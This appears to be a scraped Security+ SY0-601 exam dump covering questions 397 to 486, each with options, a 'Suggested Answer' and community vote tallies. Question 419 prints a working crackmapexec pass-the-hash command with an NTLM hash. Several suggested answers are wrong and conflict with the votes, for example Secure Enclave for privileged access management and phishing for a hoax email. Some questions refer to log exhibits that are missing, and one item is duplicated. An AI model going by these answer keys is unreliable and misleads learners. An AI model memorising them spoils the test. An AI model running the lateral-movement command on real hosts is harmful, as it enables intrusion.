not receive any emails with links, but he had been browsing the internet all day. Which of the
following would MOST likely show where the malware originated?

• A. The DNS logs Most Voted

• B. The web server logs
• C. The SIP traffic logs
• D. The SNMP logs

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Suggested Answer: B 🗳🗳

Community vote distribution

A (81%)
Other

Question #: 397
Topic #: 1
[All SY0-601 Questions]
A third party asked a user to share a public key for secure communication. Which of the following
file formats should the user choose to share the key?

• A. .pfx
• B. .csr
• C. .pvk
• D. .cer Most Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)

Question #: 398
Topic #: 1
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A security administrator is working on a solution to protect passwords stored in a database
against rainbow table attacks. Which of the following should the administrator consider?

• A. Hashing
• B. Salting Most Voted
• C. Lightweight cryptography
• D. Steganography

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 399
Topic #: 1
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A company wants to deploy PKI on its internet-facing website. The applications that are currently
deployed are:

• www.company.com (main website)

• contactus.company.com (for locating a nearby location)
• quotes.company.com (for requesting a price quote)

The company wants to purchase one SSL certificate that will work for all the existing applications
and any future applications that follow the same naming conventions, such as
store.company.com. Which of the following certificate types would BEST meet the requirements?

• A. SAN
• B. Wildcard Most Voted
• C. Extended validation
• D. Self-signed

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 400
Topic #: 1
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A security analyst is concerned about traffic initiated to the dark web from the corporate LAN.
Which of the following networks should the analyst monitor?

• A. SFTP
• B. AIS
• C. Tor Most Voted
• D. IoC

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 401
Topic #: 1
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A security analyst is reviewing logs on a server and observes the following output:

Which of the following is the security analyst observing?

• A. A rainbow table attack

• B. A password-spraying attack
• C. A dictionary attack Most Voted
• D. A keylogger attack
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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 402
Topic #: 1
[All SY0-601 Questions]
A company is launching a website in a different country in order to capture user information that a
marketing business can use. The company itself will not be using the information. Which of the
following roles is the company assuming?

• A. Data owner Most Voted

• B. Data processor
• C. Data steward Most Voted
• D. Data collector Most Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

A (36%)
D (24%)
B (21%)
Other

Question #: 403
Topic #: 1
[All SY0-601 Questions]
An organization would like to remediate the risk associated with its cloud service provider not
meeting its advertised 99.999% availability metrics. Which of the following should the organization
consult for the exact requirements for the cloud provider?

• A. SLA Most Voted

• B. BPA
• C. NDA
• D. MOU

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Suggested Answer: A 🗳🗳
Community vote distribution
A (100%)

Question #: 404
Topic #: 1
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Which of the following secure application development concepts aims to block verbose error
messages from being shown in a user’s interface?

• A. OWASP Most Voted

• B. Obfuscation/camouflage
• C. Test environment
• D. Prevention of information exposure Most Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

Question #: 405
Topic #: 1
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If a current private key is compromised, which of the following would ensure it cannot be used to
decrypt all historical data?

• A. Perfect forward secrecy Most Voted

• B. Elliptic-curve cryptography
• C. Key stretching
• D. Homomorphic encryption

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)
Question #: 406
Topic #: 1
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An organization has expanded its operations by opening a remote office. The new office is fully
furnished with office resources to support up to 50 employees working on any given day. Which of
the following VPN solutions would BEST support the new office?

• A. Always-on
• B. Remote access
• C. Site-to-site Most Voted
• D. Full tunnel

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 407
Topic #: 1
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Which of the following scenarios BEST describes a risk reduction technique?

• A. A security control objective cannot be met through a technical change, so the company
purchases insurance and is no longer concerned about losses from data breaches.
• B. A security control objective cannot be met through a technical change, so the company
implements a policy to train users on a more secure method of operation. Most Voted
• C. A security control objective cannot be met through a technical change, so the company
performs regular audits to determine if violations have occurred.
• D. A security control objective cannot be met through a technical change, so the Chief
Information Officer decides to sign off on the risk.

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)
Question #: 408
Topic #: 1
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Which of the following social engineering attacks BEST describes an email that is primarily
intended to mislead recipients into forwarding the email to others?

• A. Hoaxing Most Voted

• B. Pharming
• C. Watering-hole
• D. Phishing

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Suggested Answer: D 🗳🗳

Community vote distribution

A (100%)

Question #: 409
Topic #: 1
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Which of the following will provide the BEST physical security countermeasures to stop intruders?
(Choose two.)

• A. Alarms
• B. Signage
• C. Lighting
• D. Access control vestibules Most Voted
• E. Fencing Most Voted
• F. Sensors

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Suggested Answer: DE 🗳🗳

Community vote distribution

DE (100%)
Question #: 410
Topic #: 1
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An organization is concerned about hackers potentially entering a facility and plugging in a
remotely accessible Kali Linux box. Which of the following should be the first lines of defense
against such an attack? (Choose two.)

• A. MAC filtering
• B. Zero trust segmentation
• C. Network access control Most Voted
• D. Access control vestibules Most VotedMost Voted
• E. Guards Most Voted
• F. Bollards

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Suggested Answer: AC 🗳🗳

Community vote distribution

DE (51%)
CD (46%)
3%

Question #: 411
Topic #: 1
[All SY0-601 Questions]
An employee used a corporate mobile device during a vacation. Multiple contacts were modified in
the device during the employee's vacation. Which of the following attack methods did an attacker
use to insert the contacts without having physical access to the device?

• A. Jamming
• B. Bluejacking
• C. Disassociation
• D. Evil twin

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Suggested Answer: B 🗳🗳

Community vote distribution

B (75%)
D (25%)
Question #: 412
Topic #: 1
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A security administrator wants to implement a program that tests a user's ability to recognize
attacks over the organization’s email system. Which of the following would be best suited for this
task?

• A. Social media analysis

• B. Annual information security training
• C. Gamification
• D. Phishing campaign Most Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

D (88%)
13%

Question #: 413
Topic #: 1
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A security analyst is reviewing packet capture data from a compromised host on the network. In
the packet capture, the analyst locates packets that contain large amounts of text. Which of the
following is most likely installed on the compromised host?

• A. Keylogger Most Voted

• B. Spyware
• C. Trojan
• D. Ransomware

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 414
Topic #: 1
[All SY0-601 Questions]
An organization needs to implement more stringent controls over administrator/root credentials
and service accounts. Requirements for the project include:
• Check-in/checkout of credentials
• The ability to use but not know the password
• Automated password changes
• Logging of access to credentials

Which of the following solutions would meet the requirements?

• A. OAuth 2.0
• B. Secure Enclave
• C. A privileged access management system Most Voted
• D. An OpenID Connect authentication system

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Suggested Answer: B 🗳🗳

Community vote distribution

C (100%)

Question #: 415
Topic #: 1
[All SY0-601 Questions]
A systems analyst is responsible for generating a new digital forensics chain-of-custody form.
Which of the following should the analyst include in this documentation? (Choose two).

• A. The order of volatility

• B. A forensics NDA
• C. The provenance of the artifacts Most Voted
• D. The vendor's name
• E. The date and time Most Voted
• F. A warning banner

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Suggested Answer: AE 🗳🗳

Community vote distribution

CE (86%)
14%
Question #: 416
Topic #: 1
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A security analyst reviews web server logs and notices the following line:

Which of the following vulnerabilities is the attacker trying to exploit?

• A. SSRF
• B. CSRF
• C. XSS
• D. SQLi Most Voted

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Suggested Answer: B 🗳🗳

Community vote distribution

D (100%)

Question #: 417
Topic #: 1
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A user is having network connectivity issues when working from a coffee shop. The user has used
the coffee shop as a workspace for several months without any issues. None of the other
customers at the coffee shop are experiencing these issues. A help desk analyst at the user's
company reviews the following Wi-Fi log:

Which of the following best describes what is causing this issue?

• A. Another customer has configured a rogue access point.
• B. The coffee shop network is using multiple frequencies.
• C. A denial-of-service attack by disassociation is occurring. Most Voted
• D. An evil twin access point is being utilized.

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 418
Topic #: 1
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Which of the following is a physical security control that ensures only the authorized user is
present when gaining access to a secured area?

• A. A biometric scanner
• B. A smart card reader
• C. A PKI token
• D. A PIN pad

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 419
Topic #: 1
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During a forensic investigation, a security analyst discovered that the following command was run
on a compromised host:

crackmapexec smb 192.168.10.232 -u localadmin -H 0A3CE8D07A46E5C51070F03593E0A5E6

Which of the following attacks occurred?

• A. Buffer overflow
• B. Pass the hash Most Voted
• C. SQL injection
• D. Replay attack

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 420
Topic #: 1
[All SY0-601 Questions]
A company is moving to new location. The systems administrator has provided the following
server room requirements to the facilities staff:

• Consistent power levels in case of brownouts or voltage spikes

• A minimum of 30 minutes runtime following a power outage
• Ability to trigger graceful shutdowns of critical systems

Which of the following would BEST meet the requirements?

• A. Maintaining a standby, gas-powered generator

• B. Using large surge suppressors on computer equipment
• C. Configuring managed PDUs to monitor power levels
• D. Deploying an appropriately sized, network-connected UPS device

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%

Question #: 421
Topic #: 1
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Which of the following would provide guidelines on how to label new network devices as part of
the initial configuration?

• A. IP schema
• B. Application baseline configuration
• C. Standard naming convention policy Most Voted
• D. Wireless LAN and network perimeter diagram
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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 422
Topic #: 1
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A systems engineer thinks a business system has been compromised and is being used to
exfiltrate data to a competitor. The engineer contacts the CSIRT. The CSIRT tells the engineer to
immediately disconnect the network cable and to not do anything else. Which of the following is
the most likely reason for this request?

• A. The CSIRT thinks an insider threat is attacking the network. Most Voted
• B. Outages of business-critical systems cost too much money.
• C. The CSIRT does not consider the systems engineer to be trustworthy.
• D. Memory contents, including fileless malware, are lost when the power is turned off. Most
Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

D (50%)
A (50%)

Question #: 423
Topic #: 1
[All SY0-601 Questions]
Which of the following best describes the situation where a successfully onboarded employee who
is using a fingerprint reader is denied access at the company's main gate?

• A. Crossover error rate

• B. False match rate
• C. False rejection Most Voted
• D. False positive

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 424
Topic #: 1
[All SY0-601 Questions]
Which of the following should customers who are involved with UI developer agreements be
concerned with when considering the use of these products on highly sensitive projects?

• A. Weak configurations Most Voted

• B. Integration activities
• C. Unsecure user accounts
• D. Outsourced code development

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Suggested Answer: C 🗳🗳

Community vote distribution

A (53%)
D (40%)
7%

Question #: 425
Topic #: 1
[All SY0-601 Questions]
Which of the following identifies the point in time when an organization will recover data in the
event of an outage?

• A. ALE
• B. RPO
• C. MTBF
• D. ARO

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 426
Topic #: 1
[All SY0-601 Questions]
A police department is using the cloud to share information with city officials. Which of the
following cloud models describes this scenario?

• A. Hybrid
• B. Private
• C. Public
• D. Community Most Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

D (56%)
C (33%)
11%

Question #: 427
Topic #: 1
[All SY0-601 Questions]
A user reports that a bank’s website no longer displays a padlock symbol. A security analyst views
the user's screen and notices the connection is using HTTP instead of HTTPS. Which of the
following attacks is most likely occurring?

• A. Memory leak
• B. SSL stripping
• C. API
• D. Pass the hash

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 428
Topic #: 1
[All SY0-601 Questions]
A data center has experienced an increase in under-voltage events following electrical grid
maintenance outside the facility. These events are leading to occasional losses of system
availability. Which of the following would be the most cost-effective solution for the data center to
implement?
• A. Uninterruptible power supplies with battery backup
• B. Managed power distribution units to track these events
• C. A generator to ensure consistent, normalized power delivery
• D. Dual power supplies to distribute the load more evenly

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 429
Topic #: 1
[All SY0-601 Questions]
A security architect is designing a remote access solution for a business partner. The business
partner needs to access one Linux server at the company. The business partner wants to avoid
managing a password for authentication and additional software installation. Which of the
following should the architect recommend?

• A. Soft token
• B. Smart card
• C. CSR
• D. SSH key

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)

Question #: 430
Topic #: 1
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A security analyst is assisting a team of developers with best practices for coding. The security
analyst would like to defend against the use of SQL injection attacks. Which of the following
should the security analyst recommend first?

• A. Tokenization
• B. Input validation
• C. Code signing
• D. Secure cookies
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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 431
Topic #: 1
[All SY0-601 Questions]
Cloud security engineers are planning to allow and deny access to specific features in order to
increase data security. Which of the following cloud features is the most appropriate to ensure
access is granted properly?

• A. API integrations
• B. Auditing
• C. Resource policies Most Voted
• D. Virtual networks

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Suggested Answer: A 🗳🗳

Community vote distribution

C (100%)

Question #: 432
Topic #: 1
[All SY0-601 Questions]
A security operations technician is searching the log named /var/messages for any events that
were associated with a workstation with the IP address 10.1.1.1. Which of the following would
provide this information?

• A. cat /var/messages | grep 10.1.1.1

• B. grep 10.1.1.1 | cat /var/messages
• C. grep /var/messages | cat 10.1.1.1
• D. cat 10.1.1.1 | grep /var/messages

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)
Question #: 433
Topic #: 1
[All SY0-601 Questions]
A security analyst is investigating a report from a penetration test. During the penetration test,
consultants were able to download sensitive data from a back-end server. The back-end server
was exposing an API that should have only been available from the company's mobile application.
After reviewing the back-end server logs, the security analyst finds the following entries:

Which of the following is the most likely cause of the security control bypass?

• A. IP address allow list

• B. User-agent spoofing Most Voted
• C. WAF bypass
• D. Referrer manipulation

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Suggested Answer: D 🗳🗳

Community vote distribution

B (100%)

Question #: 434
Topic #: 1
[All SY0-601 Questions]
Which of the following processes would most likely help an organization that has conducted an
incident response exercise to improve performance and identify challenges?

• A. Lessons learned Most Voted

• B. Identification
• C. Simulation
• D. Containment

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Suggested Answer: C 🗳🗳

Community vote distribution

A (100%)

Question #: 435
Topic #: 1
[All SY0-601 Questions]
Which of the following control types is patch management classified under?

• A. Deterrent
• B. Physical
• C. Corrective
• D. Detective

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 436
Topic #: 1
[All SY0-601 Questions]
A security analyst is investigating what appears to be unauthorized access to a corporate web
application. The security analyst reviews the web server logs and finds the flowing entries:

Which of the following password attacks is taking place?

• A. Dictionary
• B. Brute-force
• C. Rainbow table
• D. Spraying
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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)
Question #: 437
Topic #: 1
[All SY0-601 Questions]
A company that provides an online streaming service made its customers' personal data, including
names and email addresses, publicly available in a cloud storage service. As a result, the company
experienced an increase in the number of requests to delete user accounts. Which of the following
BEST describes the consequence of this data disclosure?

• A. Regulatory fines
• B. Reputation damage Most Voted
• C. Increased insurance costs
• D. Financial loss

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Suggested Answer: B 🗳🗳

Community vote distribution

B (83%)
D (17%)

Question #: 438
Topic #: 1
[All SY0-601 Questions]
An organization has been experiencing outages during holiday sales and needs to ensure
availability of its point-of-sale systems. The IT administrator has been asked to improve both
server-data fault tolerance and site availability under high consumer load. Which of the following
are the best options to accomplish this objective? (Choose two.)

• A. Load balancing
• B. Incremental backups
• C. UPS
• D. RAID
• E. Dual power supply
• F. VLAN

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Suggested Answer: AD 🗳🗳

Community vote distribution

AD (100%)
Question #: 439
Topic #: 1
[All SY0-601 Questions]
Which of the following can be used to detect a hacker who is stealing company data over port 80?

• A. Web application scan

• B. Threat intelligence
• C. Log aggregation
• D. Packet capture

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Suggested Answer: D 🗳🗳

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D (100%)

Question #: 440
Topic #: 1
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A company recently enhanced mobile device configuration by implementing a set of security
controls biometrics context-aware authentication and full device encryption. Even with these
settings in place, an unattended phone was used by a malicious actor to access corporate data.
Which of the following additional controls should be put in place first?

• A. GPS tagging
• B. Remote wipe
• C. Screen lock timer Most Voted
• D. SEAndroid

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 441
Topic #: 1
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An organization wants to quickly assess how effectively the IT team hardened new laptops. Which
of the following would be the best solution to perform this assessment?

• A. Install a SIEM tool and properly configure it to read the OS configuration files
• B. Load current baselines into the existing vulnerability scanner Most Voted
• C. Maintain a risk register with each security control marked as compliant or non-compliant
• D. Manually review the secure configuration guide checklists

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Suggested Answer: B 🗳🗳

Community vote distribution

B (89%)
11%

Question #: 442
Topic #: 1
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A user is trying to upload a tax document which the corporate finance department requested but a
security program is prohibiting the upload. A security analyst determines the file contains PII.
Which of the following steps can the analyst take to correct this issue?

• A. Create a URL filter with an exception for the destination website

• B. Add a firewall rule to the outbound proxy to allow file uploads
• C. Issue a new device certificate to the user's workstation
• D. Modify the exception list on the DLP to allow the upload

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)

Question #: 443
Topic #: 1
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A cybersecurity analyst at Company A is working to establish a secure communication channel
with a counterpart at Company B, which is 3,000 miles (4,828 kilometers) away. Which of the
following concepts would help the analyst meet this goal in a secure manner?

• A. Digital signatures
• B. Key exchange
• C. Salting
• D. PPTP

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 444
Topic #: 1
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A security analyst is reviewing computer logs because a host was compromised by malware. After
the computer was infected it displayed an error screen and shut down. Which of the following
should the analyst review first to determine more information?

• A. Dump file Most Voted

• B. System log
• C. Web application log
• D. Security log

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Suggested Answer: A 🗳🗳

Community vote distribution

A (67%)
B (33%)

Question #: 445
Topic #: 1
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A security architect is working on an email solution that will send sensitive data. However, funds
are not currently available in the budget for building additional infrastructure. Which of the
following should the architect choose?

• A. POP
• B. IPSec
• C. IMAP
• D. PGP Most Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)
Question #: 446
Topic #: 1
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A user reset the password for a laptop but has been unable to log in to it since then. In addition,
several unauthorized emails were sent on the user’s behalf recently. The security team
investigates the issue and identifies the following findings:

• Firewall logs show excessive traffic from the laptop to an external site.
• Unknown processes were running on the laptop.
• RDP connections that appeared to be authorized were made to other network devices from the
laptop.
• High bandwidth utilization alerts from that user's username.

Which of the following is most likely installed on the laptop?

• A. Worm
• B. Keylogger
• C. Trojan
• D. Logic bomb

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Suggested Answer: C 🗳🗳

Community vote distribution

C (75%)
A (25%)

Question #: 447
Topic #: 1
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A systems administrator is required to enforce MFA for corporate email account access, relying on
the possession factor. Which of the following authentication methods should the systems
administrator choose? (Choose two.)

• A. Passphrase
• B. Time-based one-time password
• C. Facial recognition
• D. Retina scan
• E. Hardware token
• F. Fingerprints

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Suggested Answer: BE 🗳🗳

Community vote distribution

BE (100%)

Question #: 448
Topic #: 1
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Which of the following best describes a technique that compensates researchers for finding
vulnerabilities?

• A. Penetration testing
• B. Code review
• C. Wardriving
• D. Bug bounty Most Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

D (100%)

Question #: 449
Topic #: 1
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Which of the following biometric authentication methods is the most accurate?

• A. Gait
• B. Retina
• C. Signature
• D. Voice

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 450
Topic #: 1
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A security team will be outsourcing several key functions to a third party and will require that:

• Several of the functions will carry an audit burden

• Attestations will be performed several times a year
• Reports will be generated on a monthly basis

Which of the following best describes the document that is used to define these requirements and
stipulate how and when they are performed by the third party?

• A. MOU
• B. AUP
• C. SLA
• D. MSA

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 451
Topic #: 1
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A small, local company experienced a ransomware attack. The company has one web-facing server
and a few workstations. Everything is behind an ISP firewall. A single web-facing server is set up
on the router to forward all polls so that the server is viewable from the internet. The company
uses an older version of third-party software to manage the website. The assets were never
patched. Which of the following should be done to prevent an attack like this from happening
again? (Choose three.)

• A. install DLP software to prevent data loss

• B. Use the latest version of software Most Voted
• C. Install a SIEM device
• D. Implement MDM
• E. Implement a screened subnet for the web server Most Voted
• F. Install an endpoint security solution Most Voted
• G. Update the website certificate and revoke the existing ones
• H. Deploy additional network sensors

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Suggested Answer: BEF 🗳🗳

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BEF (100%)

Question #: 452
Topic #: 1
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A security investigation revealed that malicious software was installed on a server using a server
administrator's credentials. During the investigation, the server administrator explained that Telnet
was regularly used to log in. Which of the following most likely occurred?

• A. A spraying attack was used to determine which credentials to use

• B. A packet capture tool was used to steal the password Most Voted
• C. A remote-access Trojan was used to install the malware
• D. A dictionary attack was used to log in as the server administrator

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Suggested Answer: B 🗳🗳

Community vote distribution

B (83%)
C (17%)

Question #: 453
Topic #: 1
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Which of the following roles would most likely have direct access to the senior management team?

• A. Data custodian
• B. Data owner
• C. Data protection officer Most Voted
• D. Data controller

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Suggested Answer: D 🗳🗳

Community vote distribution

C (58%)
B (42%)
Question #: 454
Topic #: 1
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Stakeholders at an organization must be kept aware of any incidents and receive updates on
status changes as they occur. Which of the following plans would fulfill this requirement?

• A. Communication plan
• B. Disaster recovery plan
• C. Business continuity plan
• D. Risk plan

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 455
Topic #: 1
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An employee who is using a mobile device for work, is required to use a fingerprint to unlock the
device. Which of the following is this an example of?

• A. Something you know

• B. Something you are
• C. Something you have
• D. Somewhere you are

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 456
Topic #: 1
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Which of the following security controls can be used to prevent multiple people from using a
unique card swipe and being admitted to a secure entrance?

• A. Visitor logs
• B. Faraday cages
• C. Access control vestibules
• D. Motion detection sensors

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 457
Topic #: 1
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Unauthorized devices have been detected on the internal network. The devices' locations were
traced to Ethernet ports located in conference rooms. Which of the following would be the best
technical controls to implement to prevent these devices from accessing the internal network?

• A. NAC
• B. DLP
• C. IDS
• D. MFA

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 458
Topic #: 1
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A Chief Information Security Officer (CISO) wants to implement a new solution that can protect
against certain categories of websites whether the employee is in the office or away. Which of the
following solutions should the CISO implement?

• A. WAF
• B. SWG
• C. VPN
• D. HIDS

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 459
Topic #: 1
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A security analyst is using OSINT to gather information to verify whether company data is available
publicly. Which of the following is the best application for the analyst to use?

• A. theHarvester
• B. Cuckoo
• C. Nmap
• D. Nessus

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 460
Topic #: 1
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A network engineer receives a call regarding multiple LAN-connected devices that are on the same
switch. The devices have suddenly been experiencing speed and latency issues while connecting
to network resources. The engineer enters the command show mac address-table and reviews the
following output:

Which of the following best describes the attack that is currently in progress'?

• A. MAC flooding Most Voted

• B. Evil twin
• C. ARP poisoning Most Voted
• D. DHCP spoofing

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Suggested Answer: A 🗳🗳

Community vote distribution

C (55%)
A (45%)

Question #: 461
Topic #: 1
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A security administrator needs to add fault tolerance and load balancing to the connection from
the file server to the backup storage. Which of the following is the best choice to achieve this
objective?

• A. Multipath
• B. RAID
• C. Segmentation
• D. 802.11

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 462
Topic #: 1
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Which of the following incident response phases should the proper collection of the detected IoCs
and establishment of a chain of custody be performed before?

• A. Containment Most Voted

• B. Identification
• C. Preparation
• D. Recovery

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Suggested Answer: B 🗳🗳
Community vote distribution
A (100%)

Question #: 463
Topic #: 1
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Which of the following measures the average time that equipment will operate before it breaks?

• A. SLE
• B. MTBF
• C. RTO
• D. ARO

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 464
Topic #: 1
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A security administrator examines the ARP table of an access switch and sees the following
output:

• A. DDoS on Fa0/2 port

• B. MAC flooding on Fa0/2 port
• C. ARP poisoning on Fa0/1 port
• D. DNS poisoning on port Fa0/1

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 465
Topic #: 1
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Which of the following documents specifies what to do in the event of catastrophic loss of a
physical or virtual system?

• A. Data retention plan

• B. Incident response plan
• C. Disaster recovery plan
• D. Communication plan

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 465
Topic #: 1
[All SY0-601 Questions]
Which of the following documents specifies what to do in the event of catastrophic loss of a
physical or virtual system?

• A. Data retention plan

• B. Incident response plan
• C. Disaster recovery plan
• D. Communication plan

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 466
Topic #: 1
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Which of the following rales is responsible for defining the protection type and classification type
for a given set of files?
• A. General counsel
• B. Data owner
• C. Risk manager
• D. Chief Information Officer

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 467
Topic #: 1
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An employee's company email is configured with conditional access and requires that MFA is
enabled and used. An example of MFA is a phone call and:

• A. a push notification
• B. a password Most Voted
• C. an SMS message
• D. an authentication application

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Suggested Answer: D 🗳🗳

Community vote distribution

B (90%)
10%

Question #: 468
Topic #: 1
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Which of the following is a security implication of newer ICS devices that are becoming more
common in corporations?

• A. Devices with cellular communication capabilities bypass traditional network security

controls Most Voted
• B. Many devices do not support elliptic-curve encryption algorithms due to the overhead
they require
• C. These devices often lack privacy controls and do not meet newer compliance
regulations
• D. Unauthorized voice and audio recording can cause loss of intellectual property
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Suggested Answer: A 🗳🗳

Community vote distribution

A (86%)
14%

Question #: 469
Topic #: 1
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Which of the following is required in order for an IDS and a WAF to be effective on HTTPS traffic?

• A. Hashing
• B. DNS sinkhole
• C. TLS inspection
• D. Data masking

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 470
Topic #: 1
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A company policy requires third-party suppliers to self-report data breaches within a specific time
frame. Which of the following third-party risk management policies is the company complying
with?

• A. MOU
• B. SLA
• C. EOL
• D. NDA

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)
Question #: 471
Topic #: 1
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While troubleshooting service disruption on a mission-critical server, a technician discovered the
user account that was configured to run automated processes was disabled because the user s
password failed to meet password complexity requirements. Which of the following would be the
best solution to securely prevent future issues?

• A. Using an administrator account to run the processes and disabling the account when it
is not in use
• B. Implementing a shared account the team can use to run automated processes
• C. Configuring a service account to run the processes
• D. Removing the password complexity requirements for the user account

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 472
Topic #: 1
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A security analyst is assessing a new y developed web application by testing SQL injection, CSRF,
and XML injection. Which of the follow ng frameworks should the analyst consider?

• A. ISO
• B. MITRE ATT&CK
• C. OWASP
• D. NIST

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 473
Topic #: 1
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A user s laptop constantly disconnects from the Wi-Fi network. Once the laptop reconnects, the
user can reach the internet but cannot access shared folders or other network resources. Which of
the following types of attacks is the user most likely experiencing?

• A. Bluejacking
• B. Jamming
• C. Rogue access point
• D. Evil twin Most Voted

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Suggested Answer: C 🗳🗳

Community vote distribution

D (100%)

Question #: 474
Topic #: 1
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Which of the following procedures would be performed after the root cause of a security incident
has been identified to help avoid future incidents from occurring?

• A. Walk-throughs
• B. Lessons learned
• C. Attack framework alignment
• D. Containment

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 475
Topic #: 1
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A security administrator is integrating several segments into a single network. One of the
segments, which includes legacy devices, presents a significant amount of risk to the network.
Which of the following would allow users to access to the legacy devices without compromising
the security of the entire network?

• A. NIDS
• B. MAC filtering
• C. Jump server
• D. IPSec
• E. NAT gateway

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 476
Topic #: 1
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Which of the following would a security analyst use to determine if other companies in the same
sector have seen similar malicious activity against their systems?

• A. Vulnerability scanner
• B. Open-source intelligence Most Voted
• C. Packet capture
• D. Threat feeds

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Suggested Answer: D 🗳🗳

Community vote distribution

B (60%)
D (40%)

Question #: 477
Topic #: 1
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Which of the following types of disaster recovery plan exercises requires the least interruption to
IT operations?

• A. Parallel
• B. Full-scale
• C. Tabletop
• D. Simulation

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)

Question #: 478
Topic #: 1
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Which of the follow ng disaster recovery sites is the most cost effective to operate?

• A. Warm site
• B. Cold site
• C. Hot site
• D. Hybrid site

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 479
Topic #: 1
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A security operations center wants to implement a solution that can execute files to test for
malicious activity. The solution should provide a report of the files' activity against known threats.
Which of the following should the security operations center implement?

• A. the Harvester
• B. Nessus
• C. Cuckoo
• D. Sn1per

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Suggested Answer: C 🗳🗳

Community vote distribution

C (100%)
Question #: 480
Topic #: 1
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A security administrator would like to ensure all cloud servers will have software preinstalled for
facilitating vulnerability scanning and continuous monitoring. Which of the following concepts
should the administrator utilize?

• A. Provisioning
• B. Staging
• C. Staging
• D. Quality assurance

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 481
Topic #: 1
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A network architect wants a server to have the ability to retain network availability even if one of
the network switches it is connected to goes down. Which of the following should the architect
implement on the server to achieve this goal?

• A. RAID
• B. UPS
• C. NIC teaming Most Voted
• D. Load balancing

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Suggested Answer: D 🗳🗳

Community vote distribution

C (91%)
9%
Question #: 482
Topic #: 1
[All SY0-601 Questions]
An employee received multiple messages on a mobile device. The messages were instructing the
employee to pair the device to an unknown device. Which of the follow ng best describes what a
malicious person might be doing to cause this issue to occur?

• A. Jamming
• B. Bluesnarfing
• C. Evil twin attack
• D. Rogue access point

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Suggested Answer: B 🗳🗳

Community vote distribution

B (100%)

Question #: 483
Topic #: 1
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A security administrator installed a new web server. The administrator did this to increase the
capacity for an application due to resource exhaustion on another server. Which of the following
algorithms should the administrator use to split the number of the connections on each server in
half?

• A. Weighted response
• B. Round-robin
• C. Least connection
• D. Weighted least connection

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Suggested Answer: B 🗳🗳

Community vote distribution

C (50%)
B (50%)
Question #: 484
Topic #: 1
[All SY0-601 Questions]
Security analysts have noticed the network becomes flooded with malicious packets at specific
times of the day. Which of the following should the analysts use to investigate this issue?

• A. Web metadata
• B. Bandwidth monitors Most Voted
• C. System files
• D. Correlation dashboards

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Suggested Answer: D 🗳🗳

Community vote distribution

B (100%)

Question #: 485
Topic #: 1
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A security administrator performs weekly vulnerability scans on all cloud assets and provides a
detailed report. Which of the following describes the administrator’s activities?

• A. Continuous deployment
• B. Continuous integration
• C. Data owners
• D. Data processor Most Voted

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Suggested Answer: D 🗳🗳

Community vote distribution

D (73%)
B (27%)

Question #: 486
Topic #: 1
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An attacker is targeting a company. The attacker notices that the company's employees frequently
access a particular website. The attacker decides to infect the website with malware and hopes
the employees' devices will also become infected. Which of the following techniques is the
attacker using?
• A. Watering-hole attack
• B. Pretexting
• C. Typosquatting
• D. Impersonation

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Suggested Answer: A 🗳🗳

Community vote distribution

A (100%)

Question #: 487
